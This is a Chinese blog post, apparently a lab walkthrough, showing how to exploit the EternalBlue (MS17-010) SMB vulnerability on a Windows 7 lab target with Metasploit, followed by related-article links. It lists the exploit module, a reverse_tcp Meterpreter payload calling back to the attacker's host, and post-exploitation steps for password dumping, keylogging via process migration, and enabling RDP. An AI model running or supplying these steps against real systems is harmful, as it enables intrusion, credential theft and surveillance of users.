永恒之蓝（ms017-010）漏洞利用

2024-05-16 13:00:26

永恒之蓝(ms017-010)漏洞利用

1、实验环境

靶机win7

地址：192.168.1.xxx

登录密码：xxxx

攻击机：kail linux

地址：192.168.1.xxx

登录用户名：root

登录密码：xxx

2、实验原理：

“永恒之蓝”的原理主要是扫描所有开放445文件共享端口的Windows机器。

445端口简介：

445端口是一个毁誉参半的端口，有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机，但也正是因为有了它，黑客们才有了可乘之机，他们能通过该端口偷偷共享你的硬盘，甚至会在悄无声息中将你的硬盘格式化掉! 2017年10月，由于病毒"坏兔子"来袭，国家互联网应急中心等安全机构建议用户及时关闭计算机以及网络设备上的445和139端口。

实验步骤:

Step1：启动msf

Step2：搜索search ms17-010模块

发现目标靶机上存在永恒之蓝漏洞。

Step3：加载攻击模块并配置参数

use exploit/windows/smb/ms17_010_eternalblue

setp4：设置payload(设置攻击程序)

set payload windows/x64/meterpreter/reverse_tcp

setp5：设置相关参数

show options

set rhost 192.168.1.5 (靶机的IP)

set lhost 192.168.1.88 (发起攻击的主机IP)

set lport 443 (监听的端口)

Step6：发起攻击，成功会反弹shell

输入run或者exploit

Step7：获取屏幕数据

Step8：获取密码

Step9：键盘监听

ps 看浏览器或者记事本等进程号

migrate转到相应的进程

(1) keyscan_start: 启动时与如 Word 或浏览器的进程相关联的键盘记录软件

(2) keyscan_dump 键盘记录软件的内容转储，此时可以看到刚刚在靶机上输入的内容

(3) keyscan_stop: -停止键盘记录软件

step10：开启远程

(1)run post/windows/manage/enable_rdp，或run getgui -e

利用此后渗透模块即可直接开启远程桌面

(2)KaliLinux操作系统中的rdesktop  靶机地址 命令即可直接使用root账号登录到靶机系统中

永恒之蓝（ms017-010）漏洞利用相关推荐

关于NSA的EternalBlue（永恒之蓝） ms17-010漏洞利用
好久没有用这个日志了,最近WannaCry横行,媒体铺天盖地的报道,我这后知后觉的才想起来研究下WannaCry利用的这个原产于美帝的国家安全局发现的漏洞,发现漏洞不说,可以,自己偷偷 ...
网络安全攻击手段之永恒之蓝【MS17_010】利用及漏洞剖析
声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险!!! 永恒之蓝利用方法恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子 ...
【漏洞复现】永恒之蓝 MS17-010 远程溢出漏洞(CVE-2017-0143)
文章目录声明前言一.漏洞原理简述二.漏洞代码深层解析三.实验步骤四.漏洞补丁总结声明本篇文章仅用于技术研究与技术学习,切勿用于非授权下攻击行为,切记! 前言 Windows7 存在 ...
永恒之蓝漏洞复现测试
永恒之蓝MS17-010漏洞复现及利用一.什么是永恒之蓝? 永恒之蓝漏洞是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机. SMB(全称是Server Me ...
metasploit复现永恒之蓝漏洞
Table of Contents 0x01 设备 0x02 条件 0x03 漏洞复现 0x04 漏洞利用 00x0 后话 0x01 设备内置metasploit的kali Linux: win7. ...
Metasploit(MSF)实战_永恒之蓝漏洞拿下win7靶机
声明:本文仅做学习交流探讨之用,切勿用于违法用途,请遵循<中华人民共和国网络安全法>,共同维护清朗的网络空间一.Metasploit(MSF)简介 Metasploit与2003年由H. ...
勒索病毒WannaCry（永恒之蓝）
原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 .作者信息和本声明.否则将追究法律责任.http://solin.blog.51cto.com/11319413/1925890 勒索病 ...
Metasploit渗透框架介绍及永恒之蓝复现
Metasploit渗透框架介绍及永恒之蓝复现一.Metasploit渗透框架介绍 1.1 名词解释 1.2 MSF简介 1.3 MSF框架结构 1.4 MSF命令汇总 1.4.1 常用命令 1.4 ...
09永恒之蓝与永恒之黑的复现
一.永恒之蓝 1.简介 2017年3月14日,微软公布SMB远程代码执行漏洞(MS17-010),又称永恒之蓝,该漏洞在 Microsoft 服务器消息块 1.0 (SMBv1) 服务器处理某些请求时 ...
永恒之蓝勒索软件病毒防范方法及措施
目前微软已发布补丁MS17-010修复了"永恒之蓝"***的系统漏洞,请广大师生尽快根据各自操作系统安装补丁,地址:https://technet.microsoft.com/zh ...

最新文章

热门文章